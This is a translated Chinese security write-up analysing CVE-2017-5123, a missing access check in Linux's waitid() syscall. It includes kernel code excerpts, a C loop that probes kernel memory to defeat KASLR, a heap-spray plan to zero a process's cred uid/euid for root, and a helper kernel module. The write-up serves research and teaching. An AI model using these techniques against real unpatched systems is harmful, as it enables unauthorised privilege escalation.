【技术分享】一种原始且有效的内核提权方法:对CVE-2017-5123的分析与利用

http://p7.qhimg.com/t011df6cdf1fa60da49.png

译者:eridanus96

预估稿费:180RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

CVE-2017-5123是一个针对于Linux内核4.12-4.13版本,存在于waitid()系统调用中的本地提权漏洞。该漏洞原因在于:在waitid()系统调用中,由于没有检查用户态传入指针的有效性,而造成攻击者可以不受限制地将用户态写入任意内核地址的能力。

我在11月5日发布了漏洞利用的演示视频,网址为:

https://www.youtube.com/watch?v=DfwOJIcV5ZA 

此外,Chris Salls在11月6日也独立发表了对该漏洞的分析和利用,大家可以阅读并比较:

https://salls.github.io/Linux-Kernel-CVE-2017-5123/

与Chris不同的是,我将会带来另一种漏洞利用方法。并且我会将分析的重点放在如何利用这个漏洞,在不进行读取操作的前提下获得root权限。

这是一个让我非常感兴趣的漏洞,我也建议大家能进行更深入的思考。在Linux香草内核(Vanilla Kernel)的自我防护下,仅利用这个漏洞本身,我们都能实现什么操作?或者说,当存在一个或多个任意内核地址写入漏洞时,我们可以如何利用?

利用的是不是CVE-2017-5123这个漏洞并不重要,重要的是:我们如何通过原本存在的漏洞,来最大限度地提升权限。这一类的漏洞十分强大,但很多人都没有对它足够地重视。


漏洞分析

以下是kernel/exit.c中的部分代码:

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *, 
                infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;
 
    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
        }
        if (!infop)
            return err;
 
        user_access_begin();
        unsafe_put_user(signo, &infop->si_signo, Efault);
        unsafe_put_user(0, &infop->si_errno, Efault);
        unsafe_put_user(info.cause, &infop->si_code, Efault);
        unsafe_put_user(info.pid, &infop->si_pid, Efault);
        unsafe_put_user(info.uid, &infop->si_uid, Efault);
        unsafe_put_user(info.status, &infop->si_status, Efault);
        user_access_end();
        return err;
Efault:
        user_access_end();
        return -EFAULT;
}

自从4.12版本引入unsafe_put_user()之后,在waitid()的系统调用中,缺少一个access_ok()检查,由此产生了这一漏洞。

其中的access_ok()用于确保用户指定的指针是指向用户空间,而不是内存空间,因为非特权用户不能随意写入内核内存。这是通过检查限定的地址来实现的。

我们接下来看看arch/x86/include/asm/uaccess.h中的内容:

#define user_addr_max() (current->thread.addr_limit.seg)
 
...
 
/*
 * Test whether a block of memory is a valid user space address.
 * Returns 0 if the range is valid, nonzero otherwise.
 */
static inline bool __chk_range_not_ok(unsigned long addr,  
                                unsigned long size, unsigned long limit)
{
    /*
     * If we have used "sizeof()" for the size,
     * we know it won't overflow the limit (but
     * it might overflow the 'addr', so it's
     * important to subtract the size from the
     * limit, not add it to the address).
     */
    if (__builtin_constant_p(size))
        return unlikely(addr > limit - size);
 
    /* Arbitrary sizes? Be careful about overflow */
    addr += size;
    if (unlikely(addr < size))
        return true;
    return unlikely(addr > limit);
}
 
#define __range_not_ok(addr, size, limit)                
({                                    
    __chk_user_ptr(addr);                        
    __chk_range_not_ok((unsigned long __force)(addr), size, limit); 
})
 
...
 
#define access_ok(type, addr, size)                    
({                                    
    WARN_ON_IN_IRQ();                        
    likely(!__range_not_ok(addr, size, user_addr_max()));        
})

这也就意味着,该漏洞允许无特权的用户,在调用waitid()时,使用infop指定一个内核地址。随后,内核将直接使用该地址,执行写入操作。而具体到写入的内容,我们很难去控制。

Chris的文章中写道:

“info.status是一个32位的int型变量,但被限定在0 < status < 256之间。尽管info.pid可以通过反复fork在一定程度上被控制,但它还是存在一个最大值,为0x8000。”

然而,我对最大值并不感兴趣,但是我发现,我们可以将0写入任意的内核内存中。

我此次的漏洞利用,与Chris最大的不同就在于——如果我们能够通过某种方式,找到cred的结构,我们就可以写入0,覆盖cred->euid和cred->uid,从而有效获得root权限

以下是位于include/linux/cred.h中的cred结构定义:

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC    0x43736564
#define CRED_MAGIC_DEAD    0x44656144
#endif
    kuid_t        uid;        /* real UID of the task */
    kgid_t        gid;        /* real GID of the task */
    kuid_t        suid;        /* saved UID of the task */
    kgid_t        sgid;        /* saved GID of the task */
    kuid_t        euid;        /* effective UID of the task */
    kgid_t        egid;        /* effective GID of the task */
    kuid_t        fsuid;        /* UID for VFS ops */
    kgid_t        fsgid;        /* GID for VFS ops */
    unsigned    securebits;    /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;    /* caps we're permitted */
    kernel_cap_t    cap_effective;    /* caps we can actually use */
    kernel_cap_t    cap_bset;    /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char    jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key    *process_keyring; /* keyring private to this process */
    struct key    *thread_keyring; /* keyring private to this thread */
    struct key    *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;    /* subjective LSM security */
#endif
    struct user_struct *user;    /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;    /* supplementary groups for euid/fsgid */
    struct rcu_head    rcu;        /* RCU deletion hook */
};

在如何找到该结构这一点上,我们是完全盲目的。因此,我们需要一种方法来绕过内核地址空间布局随机化(KASLR),并找到内核堆。


通过内存探测绕过KASLR

通过使用诸如copy_from_user()copy_to_user()等函数,我们可以确保当缺页(Page Fault)异常处理程序指定了错误的地址时,不会发生内核的OOPS。

这样的做法是有用的,因为当他们提供的地址不属于用户空间中的进程所在的地址空间时,非特权用户并不能引起一次DoS。

使用unsafe_put_user()时也会发生同样的情况,这就意味着,我们可以在内存堆可能位于的区间内,进行内存探测。

我是通过下述代码来实现的:

for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %pn", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

这里的关键之处在于:当我们尝试一个有效地址时,waited()不会返回EFAULT。所以,我们可以用这种方式进行内存探测。

既然现在我们已经知道了内存堆的位置,接下来要做的,就是要弄明白cred结构是如何生存的,因为内核堆的状态还是未知。


堆喷射

至此,我已经有了一个清晰的思路,具体如下:

如果我们创建了成百上千个进程,那么内核堆中也会随之创建成百上千个cred结构。

因此,我的思路是创建大量的进程,并通过不断调用geteuid(),在循环中检查其是否得到了为0的euid。

一旦geteuid()返回值为0,那么我们就大功告成,可以从那里写入到cred->euid – 0x10,也就是cred->uid。

通过堆喷射,我们可以不断增加命中目标的概率,尽管它并不能保证百分之百有效。这一部分,Chris也提出了相似的堆喷射思路。但对比两种方法,堆喷射显然更有助于我们的漏洞利用过程。

当产生了很多个cred结构后,我们观察其位置,发现在有些地址,cred会一直保留,即使是在重启之后。

如果你也想观察它们的位置,可以在不需要内核调试的地方进行观察,只需要使用这个内核模块,打印出cred->euid生存的位置。

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files
 
static struct proc_dir_entry* jif_file;
 
static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}
 
static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %pn", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}
 
static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};
 
static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);
 
    if (!jif_file) {
        return -ENOMEM;
    }
 
    return 0;
}
 
static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}
 
module_init(jif_init);
module_exit(jif_exit);
 
MODULE_LICENSE("GPL");

通过fork和反复打开/proc/jif,我们可以在之后使用dmesg来查看printk()的输出。

# dmesg | grep EUID:
 
[16485.192353] EUID: ffff88015e909a14
[16485.192415] EUID: ffff88015e9097d4
[16485.192475] EUID: ffff88015e909954
[16485.192537] EUID: ffff880126c627d4
[16485.192599] EUID: ffff88015e9094d4
[16485.192660] EUID: ffff88015e909414
[16485.192725] EUID: ffff88015e909294
[16485.192790] EUID: ffff88015e909054
[16485.192860] EUID: ffff8801358efdd4
[16485.192925] EUID: ffff8801358efd14
[16485.192991] EUID: ffff8801358efe94
[16485.193057] EUID: ffff88015e909354
[16485.193124] EUID: ffff88015e9091d4
[16485.193187] EUID: ffff8801358eff54
[16485.193249] EUID: ffff8801358efb94
[16485.193314] EUID: ffff8801358efa14
[16485.193381] EUID: ffff88015e909114
[16485.193449] EUID: ffff8801358ef894
[16485.193515] EUID: ffff8801358ef714
[16485.234054] EUID: ffff880125766d14
[16485.234150] EUID: ffff8801256e9954
[16485.234189] EUID: ffff8801256e9654
[16485.429875] EUID: ffff8801257661d4
[16485.429881] EUID: ffff8801256e9e94
[16485.603481] EUID: ffff8801358ef954
[16485.603543] EUID: ffff8801256e9b94
[16485.603582] EUID: ffff880126c62e94
[16485.603620] EUID: ffff8801358ef7d4
[16485.603658] EUID: ffff880126c62a14
[16485.603701] EUID: ffff880125766654
[16485.603743] EUID: ffff8801358ef654
[16485.603782] EUID: ffff8801257667d4
[16485.603824] EUID: ffff880125766a14
[16485.603864] EUID: ffff880125766b94
[16485.603906] EUID: ffff8801256e94d4
[16485.603943] EUID: ffff8801256e91d4
[16485.603979] EUID: ffff880126c62d14
[16485.604017] EUID: ffff88015e909654
 
[...]

这样,我们就可以猜测其所在位置,并进行尝试。

至此,我们就知道了在“堆基址+一定的偏移量”的位置,命中目标的概率会比其他地方要高出很多。

所以,我们可以开始写入这些位置,然后增加PAGESIZE,借此希望能够改写其中某一个进程的凭据。如果能成功改写,我们也就成功实现了对该漏洞的利用。

 特别一提的是,我之前还写过另外一篇文章,是通过覆盖selinux_enforcingselinux_enabled来实现对SELinux的禁用,有兴趣的读者可以阅读:

http://www.openwall.com/lists/oss-security/2017/10/25/2

漏洞利用

如果你已经仔细阅读了上面的全部内容,我相信你现在一定可以尝试着利用这个漏洞,并没有想象的那么复杂。

如大家所见,我更有针对性地讲解了如何去利用这种原始的技术实现漏洞利用,而不仅仅针对这个CVE-2017-5123提供指导。当然了,我们这次是一箭双雕。

结论

通过对该漏洞的分析,我们意识到,这种类型的漏洞确实具有很大的威胁性。除此之外,我们也应该思考并尝试着用不同的方法实现Linux内核漏洞的利用。

最后,感谢André Baptista @0xACB以及所有xSTF。重点要感谢@osxreverser让我在这里发布自己的Write-up。

(完)